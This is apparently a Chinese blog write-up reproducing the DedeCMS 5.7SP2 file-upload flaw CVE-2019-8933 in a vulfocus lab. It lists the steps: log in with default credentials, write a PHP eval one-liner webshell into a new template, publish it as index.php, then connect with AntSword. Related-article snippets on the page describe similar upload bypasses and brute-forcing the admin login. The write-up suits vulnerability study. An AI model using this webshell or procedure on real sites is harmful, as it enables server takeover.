漏洞复现-dedecms文件上传（CVE-2019-8933）

最新推荐文章于 2024-03-15 12:40:37 发布
最新推荐文章于 2024-03-15 12:40:37 发布
阅读量1k 收藏 5
点赞数 9
分类专栏： 漏洞复现 文章标签： 网络安全 web安全 安全 1024程序员节 运维 安全威胁分析
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_58683895/article/details/134072567
版权

dedecms文件上传_CVE-2019-8933

漏洞信息

  • Desdev DedeCMS 5.7SP2版本中存在安全漏洞
  • CVE-2019-8933
  • 文件上传漏洞

描述

​ Desdev DedeCMS（织梦内容管理系统）是中国卓卓网络（Desdev）公司的一套基于PHP的开源内容管理系统（CMS）。该系统具有内容发布、内容管理、内容编辑和内容检索等功能。 Desdev DedeCMS 5.7SP2版本中存在安全漏洞。远程攻击者可通过在添加新模板时，将文件名…/index.html更改成…/index.php利用该漏洞向uploads/目录上传.php文件并执行该文件。 后台路径：/uploads/dede/ 后台密码：admin:admin

前提

  • volfucs靶场复现

  • 可以进入后台

复现过程

登录后台/uploads/dede

admin:admin

image-20231027110926492

新建模板

image-20231027111108984

写入一句话木马

<?php @eval($_REQUEST[999]);?>

image-20231027111319743

按照顺序找到更新主页

image-20231027111513971

完成图中操作

image-20231027111552268

点击浏览，空白即为成功

image-20231027111610820

使用蚁剑连接该页

image-20231027111634952

获得flag

image-20231027111653101

order libra
关注
专栏目录
【漏洞复现】DedeCMS存在文件包含漏洞导致后台getshell(CVE-2023-2928)
做自己喜欢的事，并将其发挥到极致！
05-31 3861
uploads/dede/article_allowurl_edit.php存在缺少对该文件中写入内容的任何过滤是导致该漏洞的因素之一，在5.7.106之前的DedeCMS中发现了一个漏洞。它已被宣布为关键。受此漏洞影响的是文件uploads/dede/article_allowurl_edit.php的未知功能。操纵参数allurls会导致代码注入。可以远程发起攻击获得网站控制权限。
DedeCMS V5.7文件上传漏洞复现
weixin_51047454的博客
03-20 1399
CVE-2018-20129-DedeCMS V5.7 SP2前台文件上传漏洞复现 登录管理页面后，开启会员功能（默认是关闭的） 回到首页，用户登录后，点击会员中心。 打开内容中心（第一次进入会提示完善个人信息，完善一下，不然不能操作） 重点开始 4. 发表文章的表单最下方有一个图片的图标，点击可以选择上传图片到服务端。 制作图片码 上传 抓包修改文件后缀：p*hp 连接，成功 代码审计 为什么用.ph%p就可以绕过检测了？我们来看看源码中的问题部分。 找到图片的校验部分的源
复现文件上传漏洞
最新发布
weixin_69863399的博客
03-15 820
通过代码我们可以看出该用于限制文件过滤的函数是通过JavaScript运行的，所以我们可以通过浏览器的设置-->隐私和安全--->找到Javascript将其关掉。将下载好的upload-labs的压缩包，将此压缩包解压到WWW中，并将名称修改为upload，同时也要在upload文件中建立一个upload的文件。此时，我们会发现显示源码什么的都是点不动的，但是选择文件是可以点的动的，所以此时我们可以上传文件，会发现上传成功。”，然后进行上传.htaccess文件，但是该文件和.jpg要在同一个文件夹下。
dedecms 文件上传 （CVE-2019-8933）
weixin_57567689的博客
10-21 782
dedecms 文件上传 （CVE-2019-8933）
DedeCMS文件上传(CVE-2019-8933)
m0_65150886的博客
02-21 514
index.php利用该漏洞向uploads/目录上传.php文件并执行该文件。后台路径：/uploads/dede/ 后台密码：admin:admin。该系统具有内容发布、内容管理、内容编辑和内容检索等功能。5.点击生成->更新主页HTML，选择主页模板为default/newtpl.htm，主页位置修改为php文件，首页模式选择静态，最后点击更新主页HTML。2.访问http://ip:port/uploads/dede，1.访问http://ip:port，出现如下页面，开始实验。
vulfocus——dedecms文件上传(CVE-2019-8933）
m0_62063669的博客
09-14 732
Desdev DedeCMS（织梦内容管理系统）是一套基于PHP的开源内容管理系统（CMS），具有内容发布、内容管理、内容编辑和内容检索等功能。远程攻击者可在通过添加新模板时，将文件名../index.html更改成../index.php，利用该漏洞向uploads/目录上传.php文件并执行该文件。后台路径：/uploads/dede/ 后台密码：admin:admin。3. 模板=>默认模板管理=>新建模板。4.写入一句话木马，然后保存。6.用蚁剑连接一句话木马。5.访问一下这个文件。
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933
10-16 3962
【dedecms-文件上传】后缀
CVE-2018-20129-——DedeCMS V5.7 SP2前台文件上传漏洞
玄道的网安博客
12-20 5673
0x01 漏洞概述 Desdev DedeCMS（织梦内容管理系统）是中国卓卓网络（Desdev）科技有限公司的一套开源的集内容发布、编辑、管理检索等于一体的PHP网站内容管理系统（CMS）。 Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞，远程攻击者可利用该漏洞上传并执行任意PH...
CMS V5.7 SP2漏洞复现（CVE-2018-20129）
haoaaao的博客
04-04 4871
0x00 前置 1、CVE中对该漏洞的描述： 在 DedeCMS V5.7 SP2 中发现了一个问题。uploads/include/dialog/select_images_post.php 允许远程攻击者通过双扩展名和修改的“.php”子字符串以及 image/jpeg 内容类型上传和执行任意 PHP 代码，如 filename=1 所示。 jpg.p*hp 值。 2、所需工具 （1）cms网站源码版本：DedeCMS V5.7 SP2 下载链接...
红队系列-网络安全知识锦囊(持续更新)
aming小老弟
11-09 1393
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
DedeCMS（CVE-2019-8933）
m0_74559567的博客
03-15 1023
密码就是在字典里面，但是我们发现并没有爆破成功，原因是请求过快，输入错误的时候网页会跳转错误页面然后再返回再次登录。查看源代码，找到验证码的url，当然也可以右键打开验证码链接，或者直接拖就可以。然后再次开始攻击，攻击完成后，排序长度，不一样的基本是成功的。返回Bp插件界面，然后右键导入模板，填入接口url。payload1的位置，添加常用的密码字典进行爆破。点击浏览，是可以被成功解析的，使用蚁剑进行连接。payload2位置，选择的是验证码的插件。抓包验证码的网页后，右键发送到插件。
dedecms 文件上传（CVE-2019-8933）
xy_wjyjw的博客
10-28 342
点击生成——更新主页HTML——主页位置——选择主页模板（浏览选择一句话木马文件）——首页模式——更新主页HTML。在内容中输入后门代码（一句话木马）
dedecms 文件上传 （CVE-2019-8933）漏洞复现
weixin_42675091的博客
09-03 3660
dedecms 文件上传 （CVE-2019-8933）
文件上传漏洞复现
极客剑寮
02-22 2058
文件上传漏洞复现 文件上传漏洞复现笔记 预备知识 文件上传漏洞 WebShell：webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，然后就可以使用浏览器...
dedecms上传漏洞（uploadsafe.inc.php）
L_melody的博客
01-19 862
文件：uploadsafe.inc.php 路径：.../include/uploadsafe.inc.php 解决方案： 1、查找文件位置：/include/uploadsafe.inc.php，大概在42行左右，找到： ${$_key.'_size'} = @filesize($$_key); } 修改为： ${$_key.'_size'} = @filesize($$_k...
DedeCMS之文件上传漏洞
Loooyoooxooo的博客
12-08 751
1、此版本的DedeCMS后台存在文件上传漏洞，在渗透过程中我们可以通过利用其它漏洞或者暴力破解的方式获取管理员账号和密码，并登录到后台进行此漏洞利用（此实验主要练习文件DedeCMS上传漏洞利用）；6、依次点击 “生成” - “更新主页HTML” - “浏览选择新建的模板”，在"主页位置"输入框中将文件后缀修改为.php，首页模式选择"生成静态"，并点击更新主页HTML。>换成一句话木马<?7、进入生成的链接，成功执行php代码，漏洞测试成功，在进行动态的输出框中，点击"浏览"
dedecms 漏洞_源起网——dedecms后台文件任意上传漏洞
weixin_39722917的博客
11-29 236
源起网 - 做专业.全面的网站源码模板下载站！​source.aiconvert.cn漏洞dedecms后台文件任意上传漏洞简介dedecms早期版本后台存在大量的富文本编辑器，该控件提供了一些文件上传接口，同时dedecms对上传文件的后缀类型未进行严格的限制，这导致了黑客可以上传WEBSHELL，获取网站后台权限。文件/dede/media_add.php修复打开 /dede/media_ad...
dedecms上传漏洞uploadsafe.inc.php 整理
热门推荐
日拱一卒无有尽，功不唐捐终入海
09-06 1万+
自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知，前段时间部署的项目检测出上传漏洞 根据网上大神们的博客整理了下，下面这个是可行的 dedecms上传漏洞uploadsafe.inc.php，这里整理了大神们对于这个漏洞的解释 1. 漏洞描述 1. dedecms原生提供一个"本地变量注册"的模拟实现，原则上允许黑客覆盖任意变量 2. dedecms
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值